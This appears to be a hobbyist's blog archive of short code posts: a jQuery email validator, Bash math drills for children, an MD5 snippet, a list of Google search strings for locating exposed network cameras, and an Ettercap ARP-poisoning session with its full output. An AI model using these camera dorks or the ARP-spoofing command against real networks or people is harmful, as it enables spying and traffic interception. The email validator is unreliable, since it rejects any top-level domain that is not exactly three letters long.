// validate email function, after function other code relative to its use
//
function validateEmail(x)
{
var tld="";
console.log(x);
var splitAt = x.split("@");
if(!splitAt[1]) {return false;}
var username = splitAt[0];
var domainTLD = splitAt[1].split(".");
var domain=domainTLD[0];
for(var i=1;i<5;i++) {
if(domainTLD[i]) { console.log(i +" "+ domainTLD[i]); tld=domainTLD[i] ;}
}
var usernameLength = username.length;
var domainLength = domain.length;
var tldLength = tld.length;
msg=username;
console.log(msg);
msg=domain;
console.log(msg);
msg=tld;
console.log(msg);
msg=usernameLength;
console.log(msg);
msg=domainLength;
console.log(msg);
msg=tldLength;
console.log(msg);
if ( tldLength < 3 || tldLength > 3 || domainLength < 2 || usernameLength < 1 || /\d/.test(tld) )
{
console.log(x + " not a valid e-mail address");
return false;
}
else {
return true;
}
}
// just some vars not pertinent to email validation
var timedFade = 1000;
var msg="";
// document ready code block below
$(document).ready(function(){
msg="document.ready"; console.log(msg); msg="";
$( "#email" ).blur(function() {
var email=$( "#email" ).val();
console.log(email);
if (validateEmail(email)) {
console.log("good email");
$("#email-status-message").text("");
$("#email-status-message").fadeOut(timedFade);
}
else {
console.log("bad email");
$("#email-status-message").text("please enter valid email");
$("#email-status-message").fadeIn(timedFade);
}
});
})
Friday, October 18, 2013
Validate email with jQuery and my own hack
Labels:
email,
javascript,
jQuery,
validation
Monday, September 23, 2013
Super simple Bash script for math drills, first grade math level. Addition only, can easily change in script.
#!/usr/bin/env bash clear voice="say -v Princess" while true do clear a=`jot -r 1 1 10` b=`jot -r 1 1 10` echo "$a + $b = WHAT?" $voice $a plus $b equals WHAT READ c=$(expr $a + $b) echo $c $voice $c READ done
Thursday, June 27, 2013
MD5 Python
>>> import urllib, hashlib
>>> me = hashlib.md5('hello')
>>> print me
<md5 HASH object @ 0x10568d970>
>>> print me.hexdigest()
5d41402abc4b2a76b9719d911017c592
Thursday, June 13, 2013
Wednesday, April 10, 2013
Webcam search strings
inurl:/view.shtml intitle:”Live View / – AXIS” | inurl:view/view.shtml^ inurl:ViewerFrame?Mode= inurl:ViewerFrame?Mode=Refresh inurl:axis-cgi/jpg inurl:axis-cgi/mjpg (motion-JPEG) inurl:view/indexFrame.shtml inurl:view/index.shtml inurl:view/view.shtml liveapplet intitle:”live view” intitle:axis intitle:liveapplet allintitle:”Network Camera NetworkCamera” intitle:axis intitle:”video server” intitle:liveapplet inurl:LvAppl intitle:”EvoCam” inurl:”webcam.html” intitle:”Live NetSnap Cam-Server feed” intitle:”Live View / – AXIS” intitle:”Live View / – AXIS 206M” intitle:”Live View / – AXIS 206W” intitle:”Live View / – AXIS 210″ inurl:indexFrame.shtml Axis inurl:”MultiCameraFrame?Mode=Motion” intitle:start inurl:cgistart intitle:”WJ-NT104 Main Page” intext:”MOBOTIX M1″ intext:”Open Menu” intext:”MOBOTIX M10″ intext:”Open Menu” intext:”MOBOTIX D10″ intext:”Open Menu” intitle:snc-z20 inurl:home/ intitle:snc-cs3 inurl:home/ intitle:snc-rz30 inurl:home/ intitle:”sony network camera snc-p1″ intitle:”sony network camera snc-m1″ site:.viewnetcam.com -www.viewnetcam.com intitle:”Toshiba Network Camera” user login intitle:”netcam live image” intitle:”i-Catcher Console – Web Monitor”
Tuesday, February 12, 2013
Apple OS X Say Speech Synthesis bash program
#!/usr/bin/env bash echo "Female Voices" echo "hello I am Agnes" say -v Agnes "hello I am Agnes" echo "hello I am Kathy" say -v Kathy "hello I am Kathy" echo "hello I am Princess" say -v Princess "hello I am Princess" echo "hello I am Vicki" say -v Vicki "hello I am Vicki" echo "hello I am Victoria" say -v Victoria "hello I am Victoria" echo "Male Voices" echo "hello I am Bruce" say -v Bruce "hello I am Bruce" echo "hello I am Fred" say -v Fred "hello I am Fred" echo "hello I am Junior" say -v Junior "hello I am Junior" echo "hello I am Ralph" say -v Ralph "hello I am Ralph" echo "Novelty Voices" say -v Albert "hello world" say -v "Bad News" "hello world" say -v Bahh "hello world" say -v Bells "hello world" say -v Boing "hello world" say -v Bubbles "hello world" say -v Cellos "hello world" say -v Deranged "hello world" say -v "Good News" "hello world" say -v Hysterical "hello world" say -v "Pipe Organ" "hello world" say -v Trinoids "hello world" say -v Whisper "hello world" say -v Zarvox "hello world"
Math Teaching Tool for 4-6 year olds
#!/usr/bin/env bash
printSay(){
echo -n $1\t;
say -v Princess $txt;
}
wrap() {
# clear;
for item in ${array}; do
echo -n $item" ";
say -v Princess $item;
done
sleep $doze;
echo ;
}
echo "hello I am Princess"
say -v Princess "hello I am Princess"
doze=1;
export $doze;
array="1 + 1 = 2"; export $array; wrap;
array="2 + 1 = 3"; wrap;
array="2 + 1 = 3"; wrap;
array="3 + 1 = 4"; wrap;
array="4 + 1 = 5"; wrap;
array="5 + 1 = 6"; wrap;
array="6 + 1 = 7"; wrap;
array="7 + 1 = 8"; wrap;
array="8 + 1 = 9"; wrap;
array="9 + 1 = 10"; wrap;
array="10 + 1 = 11"; wrap;
array="1 + 2 = 3"; wrap;
array="2 + 2 = 4"; wrap;
array="3 + 2 = 5"; wrap;
array="4 + 2 = 6"; wrap;
array="5 + 2 = 7"; wrap;
array="6 + 2 = 8"; wrap;
array="7 + 2 = 9"; wrap;
array="8 + 2 = 10"; wrap;
array="5 + 5 = 10"; wrap;
array="5 + 10 = 15"; wrap;
Thursday, December 20, 2012
Ettercap using browser plugin. Do not do this outside of test network
>interface=en0
>echo $interface
en0
>ip=192.168.15.18
>echo $ip
192.168.15.18
>sudo ettercap -T -Q -M arp:remote -i $interface /$ip/ // -P remote_browser
Password:
ettercap 0.7.4.1 copyright 2001-2011 ALoR & NaGA
Listening on en0... (Ethernet)
en0 -> 7C:D1:C3:E9:51:23 192.168.15.18 255.255.255.0
SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to UID 65534 GID 65534...
28 plugins
40 protocol dissectors
55 ports monitored
7587 mac vendor fingerprint
1766 tcp OS fingerprint
2183 known services
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
* |==================================================>| 100.00 %
1 hosts added to the hosts list...
ARP poisoning victims:
GROUP 2 : ANY (all the hosts in the list)
Starting Unified sniffing...
Text only Interface activated...
Hit 'h' for inline help
Activating remote_browser plugin...
suff .htm
REMOTE COMMAND: mozilla -remote openurl(http://interface.eyecon.ro/demos/drag.html)
REMOTE COMMAND: mozilla -remote openurl(http://en.wikipedia.org/)
suff .php
Press q to quit properly!
Closing text interface...
ARP poisoner deactivated.
RE-ARPing the victims...
Unified sniffing was stopped.
>
Subscribe to:
Posts (Atom)
